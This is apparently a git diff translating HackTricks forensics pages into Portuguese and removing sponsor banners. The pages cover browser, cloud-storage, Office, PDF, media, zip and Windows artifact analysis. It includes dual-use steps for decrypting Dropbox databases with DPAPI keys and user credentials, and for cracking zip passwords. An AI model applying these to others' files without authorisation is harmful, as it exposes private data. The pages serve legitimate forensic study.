-- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`.
+- **Browser’s built-in anti-phishing**: Verifique se `fraud_protection_enabled` no arquivo Preferences está definido como `true` usando `grep`.
 
-These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers.
+Esses caminhos e comandos são cruciais para acessar e entender os dados de navegação armazenados por diferentes navegadores da web.
 
-## References
+## Referências
 
 - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
 - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
 - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
 - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
index c22a6f566..213ac8b44 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
@@ -1,50 +1,42 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-Some things that could be useful to debug/deobfuscate a malicious VBS file:
+Algumas coisas que podem ser úteis para depurar/desofuscar um arquivo VBS malicioso:
 
 ## echo
-
 ```bash
 Wscript.Echo "Like this?"
 ```
-
-## Commnets
-
+## Comentários
 ```bash
 ' this is a comment
 ```
-
-## Test
-
+## Teste
 ```bash
 cscript.exe file.vbs
 ```
-
-## Write data to a file
-
+## Escrever dados em um arquivo
 ```js
 Function writeBinary(strBinary, strPath)
 
-    Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
+Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
 
-    ' below lines purpose: checks that write access is possible!
-    Dim oTxtStream
+' below lines purpose: checks that write access is possible!
+Dim oTxtStream
 
-    On Error Resume Next
-    Set oTxtStream = oFSO.createTextFile(strPath)
+On Error Resume Next
+Set oTxtStream = oFSO.createTextFile(strPath)
 
-    If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
-    On Error GoTo 0
+If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
+On Error GoTo 0
 
-    Set oTxtStream = Nothing
-    ' end check of write access
+Set oTxtStream = Nothing
+' end check of write access
 
-    With oFSO.createTextFile(strPath)
-        .Write(strBinary)
-        .Close
-    End With
+With oFSO.createTextFile(strPath)
+.Write(strBinary)
+.Close
+End With
 
 End Function
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 99792162b..f816c0285 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,114 +1,97 @@
-# Local Cloud Storage
+# Armazenamento em Nuvem Local
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
 ## OneDrive
 
-In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files:
+No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppData\Local\Microsoft\OneDrive`. E dentro de `logs\Personal` é possível encontrar o arquivo `SyncDiagnostics.log` que contém alguns dados interessantes sobre os arquivos sincronizados:
 
-- Size in bytes
-- Creation date
-- Modification date
-- Number of files in the cloud
-- Number of files in the folder
-- **CID**: Unique ID of the OneDrive user
-- Report generation time
-- Size of the HD of the OS
+- Tamanho em bytes
+- Data de criação
+- Data de modificação
+- Número de arquivos na nuvem
+- Número de arquivos na pasta
+- **CID**: ID único do usuário do OneDrive
+- Hora de geração do relatório
+- Tamanho do HD do SO
 
-Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive.
+Uma vez que você tenha encontrado o CID, é recomendado **procurar arquivos contendo esse ID**. Você pode ser capaz de encontrar arquivos com o nome: _**\.ini**_ e _**\.dat**_ que podem conter informações interessantes como os nomes dos arquivos sincronizados com o OneDrive.
 
 ## Google Drive
 
-In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\
-This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5.
+No Windows, você pode encontrar a pasta principal do Google Drive em `\Users\\AppData\Local\Google\Drive\user_default`\
+Esta pasta contém um arquivo chamado Sync_log.log com informações como o endereço de e-mail da conta, nomes de arquivos, timestamps, hashes MD5 dos arquivos, etc. Até arquivos deletados aparecem nesse arquivo de log com seu correspondente MD5.
 
-The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files.
+O arquivo **`Cloud_graph\Cloud_graph.db`** é um banco de dados sqlite que contém a tabela **`cloud_graph_entry`**. Nesta tabela, você pode encontrar o **nome** dos **arquivos sincronizados**, hora de modificação, tamanho e o checksum MD5 dos arquivos.
 
-The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version.
+Os dados da tabela do banco de dados **`Sync_config.db`** contêm o endereço de e-mail da conta, o caminho das pastas compartilhadas e a versão do Google Drive.
 
 ## Dropbox
 
-Dropbox uses **SQLite databases** to manage the files. In this\
-You can find the databases in the folders:
+O Dropbox usa **bancos de dados SQLite** para gerenciar os arquivos. Neste\
+Você pode encontrar os bancos de dados nas pastas:
 
 - `\Users\\AppData\Local\Dropbox`
 - `\Users\\AppData\Local\Dropbox\Instance1`
 - `\Users\\AppData\Roaming\Dropbox`
 
-And the main databases are:
+E os principais bancos de dados são:
 
 - Sigstore.dbx
 - Filecache.dbx
 - Deleted.dbx
 - Config.dbx
 
-The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]())
+A extensão ".dbx" significa que os **bancos de dados** estão **criptografados**. O Dropbox usa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]())
 
-To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
+Para entender melhor a criptografia que o Dropbox usa, você pode ler [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
 
-However, the main information is:
+No entanto, as principais informações são:
 
-- **Entropy**: d114a55212655f74bd772e37e64aee9b
-- **Salt**: 0D638C092E8B82FC452883F95F355B8E
-- **Algorithm**: PBKDF2
-- **Iterations**: 1066
+- **Entropia**: d114a55212655f74bd772e37e64aee9b
+- **Sal**: 0D638C092E8B82FC452883F95F355B8E
+- **Algoritmo**: PBKDF2
+- **Iterações**: 1066
 
-Apart from that information, to decrypt the databases you still need:
+Além dessas informações, para descriptografar os bancos de dados, você ainda precisa:
 
-- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary)
-- The **`SYSTEM`** and **`SECURITY`** hives
-- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect`
-- The **username** and **password** of the Windows user
+- A **chave DPAPI criptografada**: Você pode encontrá-la no registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporte esses dados como binário)
+- Os **hives** **`SYSTEM`** e **`SECURITY`**
+- As **chaves mestras DPAPI**: Que podem ser encontradas em `\Users\\AppData\Roaming\Microsoft\Protect`
+- O **nome de usuário** e **senha** do usuário do Windows
 
-Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
+Então você pode usar a ferramenta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
 
 ![](<../../../images/image (448).png>)
 
-If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt.
-
-The resulting hex is the final key used to encrypt the databases which can be decrypted with:
+Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar esta [receita do cyber_chef]() colocando a chave primária como a "senha" dentro da receita.
 
+O hex resultante é a chave final usada para criptografar os bancos de dados que podem ser descriptografados com:
 ```bash
 sqlite -k  config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
 ```
+O **`config.dbx`** banco de dados contém:
 
-The **`config.dbx`** database contains:
+- **Email**: O email do usuário
+- **usernamedisplayname**: O nome do usuário
+- **dropbox_path**: Caminho onde a pasta do dropbox está localizada
+- **Host_id: Hash** usado para autenticar no cloud. Isso só pode ser revogado pela web.
+- **Root_ns**: Identificador do usuário
 
-- **Email**: The email of the user
-- **usernamedisplayname**: The name of the user
-- **dropbox_path**: Path where the dropbox folder is located
-- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web.
-- **Root_ns**: User identifier
+O **`filecache.db`** banco de dados contém informações sobre todos os arquivos e pastas sincronizados com Dropbox. A tabela `File_journal` é a que contém mais informações úteis:
 
-The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
+- **Server_path**: Caminho onde o arquivo está localizado dentro do servidor (este caminho é precedido pelo `host_id` do cliente).
+- **local_sjid**: Versão do arquivo
+- **local_mtime**: Data de modificação
+- **local_ctime**: Data de criação
 
-- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client).
-- **local_sjid**: Version of the file
-- **local_mtime**: Modification date
-- **local_ctime**: Creation date
+Outras tabelas dentro deste banco de dados contêm informações mais interessantes:
 
-Other tables inside this database contain more interesting information:
-
-- **block_cache**: hash of all the files and folders of Dropbox
-- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal`
-- **mount_table**: Share folders of dropbox
-- **deleted_fields**: Dropbox deleted files
+- **block_cache**: hash de todos os arquivos e pastas do Dropbox
+- **block_ref**: Relaciona o ID do hash da tabela `block_cache` com o ID do arquivo na tabela `file_journal`
+- **mount_table**: Pastas compartilhadas do dropbox
+- **deleted_fields**: Arquivos deletados do Dropbox
 - **date_added**
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index 34433ce87..be97513e4 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,36 +1,18 @@
-# Office file analysis
+# Análise de arquivos do Office
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+Para mais informações, consulte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este é apenas um resumo:
 
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+A Microsoft criou muitos formatos de documentos do Office, sendo os dois principais tipos os **formatos OLE** (como RTF, DOC, XLS, PPT) e os **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Esses formatos podem incluir macros, tornando-se alvos para phishing e malware. Os arquivos OOXML são estruturados como contêineres zip, permitindo a inspeção através da descompactação, revelando a hierarquia de arquivos e pastas e o conteúdo dos arquivos XML.
 
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+Para explorar as estruturas de arquivos OOXML, o comando para descompactar um documento e a estrutura de saída são fornecidos. Técnicas para ocultar dados nesses arquivos foram documentadas, indicando inovação contínua na ocultação de dados dentro dos desafios CTF.
 
-For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
-
-Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents.
-
-To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges.
-
-For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables.
-
-Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`.
+Para análise, **oletools** e **OfficeDissector** oferecem conjuntos de ferramentas abrangentes para examinar documentos OLE e OOXML. Essas ferramentas ajudam a identificar e analisar macros incorporadas, que muitas vezes servem como vetores para a entrega de malware, normalmente baixando e executando cargas maliciosas adicionais. A análise de macros VBA pode ser realizada sem o Microsoft Office utilizando o Libre Office, que permite a depuração com pontos de interrupção e variáveis de observação.
 
+A instalação e o uso do **oletools** são diretos, com comandos fornecidos para instalação via pip e extração de macros de documentos. A execução automática de macros é acionada por funções como `AutoOpen`, `AutoExec` ou `Document_Open`.
 ```bash
 sudo pip3 install -U oletools
 olevba -c /path/to/document #Extract macros
 ```
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 79799f2d8..79c108334 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -1,28 +1,20 @@
-# PDF File analysis
+# Análise de Arquivos PDF
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+**Para mais detalhes, consulte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
 
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+O formato PDF é conhecido por sua complexidade e potencial para ocultar dados, tornando-se um ponto focal para desafios de forense em CTF. Ele combina elementos de texto simples com objetos binários, que podem ser comprimidos ou criptografados, e pode incluir scripts em linguagens como JavaScript ou Flash. Para entender a estrutura do PDF, pode-se consultar o [material introdutório de Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou usar ferramentas como um editor de texto ou um editor específico de PDF, como o Origami.
 
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+Para exploração ou manipulação aprofundada de PDFs, ferramentas como [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf) estão disponíveis. Dados ocultos dentro de PDFs podem estar escondidos em:
 
-**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
+- Camadas invisíveis
+- Formato de metadados XMP da Adobe
+- Gerações incrementais
+- Texto com a mesma cor do fundo
+- Texto atrás de imagens ou imagens sobrepostas
+- Comentários não exibidos
 
-The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami.
-
-For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in:
-
-- Invisible layers
-- XMP metadata format by Adobe
-- Incremental generations
-- Text with the same color as the background
-- Text behind images or overlapping images
-- Non-displayed comments
-
-For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject.
+Para análise personalizada de PDF, bibliotecas Python como [PeepDF](https://github.com/jesparza/peepdf) podem ser usadas para criar scripts de parsing sob medida. Além disso, o potencial do PDF para armazenamento de dados ocultos é tão vasto que recursos como o guia da NSA sobre riscos e contramedidas de PDF, embora não esteja mais hospedado em sua localização original, ainda oferecem insights valiosos. Uma [cópia do guia](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e uma coleção de [truques do formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini podem fornecer mais leitura sobre o assunto.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
index 6108df028..694b0d7af 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
@@ -1,9 +1,9 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies.
+**Arquivos PNG** são altamente valorizados em **desafios CTF** por sua **compressão sem perdas**, tornando-os ideais para embutir dados ocultos. Ferramentas como **Wireshark** permitem a análise de arquivos PNG ao dissecar seus dados dentro de pacotes de rede, revelando informações embutidas ou anomalias.
 
-For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants.
+Para verificar a integridade de arquivos PNG e reparar corrupção, **pngcheck** é uma ferramenta crucial, oferecendo funcionalidade de linha de comando para validar e diagnosticar arquivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando os arquivos estão além de consertos simples, serviços online como [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) fornecem uma solução baseada na web para **reparar PNGs corrompidos**, ajudando na recuperação de dados cruciais para os participantes do CTF.
 
-These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data.
+Essas estratégias ressaltam a importância de uma abordagem abrangente em CTFs, utilizando uma combinação de ferramentas analíticas e técnicas de reparo para descobrir e recuperar dados ocultos ou perdidos.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
index a1e143cb0..a42c61b7f 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
@@ -1,29 +1,17 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+**Manipulação de arquivos de áudio e vídeo** é um elemento básico em **desafios de forense CTF**, aproveitando **esteganografia** e análise de metadados para ocultar ou revelar mensagens secretas. Ferramentas como **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** são essenciais para inspecionar metadados de arquivos e identificar tipos de conteúdo.
 
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
+Para desafios de áudio, **[Audacity](http://www.audacityteam.org/)** se destaca como uma ferramenta de primeira linha para visualizar formas de onda e analisar espectrogramas, essenciais para descobrir texto codificado em áudio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** é altamente recomendado para análise detalhada de espectrogramas. **Audacity** permite manipulação de áudio, como desacelerar ou inverter faixas para detectar mensagens ocultas. **[Sox](http://sox.sourceforge.net/)**, uma utilidade de linha de comando, se destaca na conversão e edição de arquivos de áudio.
 
-{% embed url="https://academy.8ksec.io/" %}
+A manipulação de **Bits Menos Significativos (LSB)** é uma técnica comum em esteganografia de áudio e vídeo, explorando os blocos de tamanho fixo de arquivos de mídia para embutir dados discretamente. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** é útil para decodificar mensagens ocultas como **tons DTMF** ou **código Morse**.
 
-**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types.
+Desafios de vídeo frequentemente envolvem formatos de contêiner que agrupam fluxos de áudio e vídeo. **[FFmpeg](http://ffmpeg.org/)** é a escolha ideal para analisar e manipular esses formatos, capaz de desmultiplexar e reproduzir conteúdo. Para desenvolvedores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra as capacidades do FFmpeg no Python para interações avançadas e scriptáveis.
 
-For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files.
+Essa variedade de ferramentas destaca a versatilidade necessária em desafios CTF, onde os participantes devem empregar um amplo espectro de técnicas de análise e manipulação para descobrir dados ocultos em arquivos de áudio e vídeo.
 
-**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**.
-
-Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions.
-
-This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files.
-
-## References
+## Referências
 
 - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
 
-

-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
index d4e17eb0d..c8a05485c 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
@@ -2,17 +2,17 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities:
+**Ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar arquivos zip. Aqui estão algumas utilidades chave:
 
-- **`unzip`**: Reveals why a zip file may not decompress.
-- **`zipdetails -v`**: Offers detailed analysis of zip file format fields.
-- **`zipinfo`**: Lists contents of a zip file without extracting them.
-- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files.
-- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters.
+- **`unzip`**: Revela por que um arquivo zip pode não descompactar.
+- **`zipdetails -v`**: Oferece análise detalhada dos campos do formato de arquivo zip.
+- **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-lo.
+- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentam reparar arquivos zip corrompidos.
+- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra de senhas zip por força bruta, eficaz para senhas de até cerca de 7 caracteres.
 
-The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files.
+A [especificação do formato de arquivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões dos arquivos zip.
 
-It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
+É crucial notar que arquivos zip protegidos por senha **não criptografam nomes de arquivos ou tamanhos de arquivos** dentro, uma falha de segurança que não é compartilhada com arquivos RAR ou 7z, que criptografam essas informações. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **ataque de texto simples** se uma cópia não criptografada de um arquivo comprimido estiver disponível. Este ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo da HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada mais a fundo [neste artigo acadêmico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse ataque de texto simples, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis.
 
 ## References
 
diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md
index 08b2ede8c..b591ca36c 100644
--- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md
+++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md
@@ -4,511 +4,494 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 ## Generic Windows Artifacts
 
 ### Windows 10 Notifications
 
-In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary).
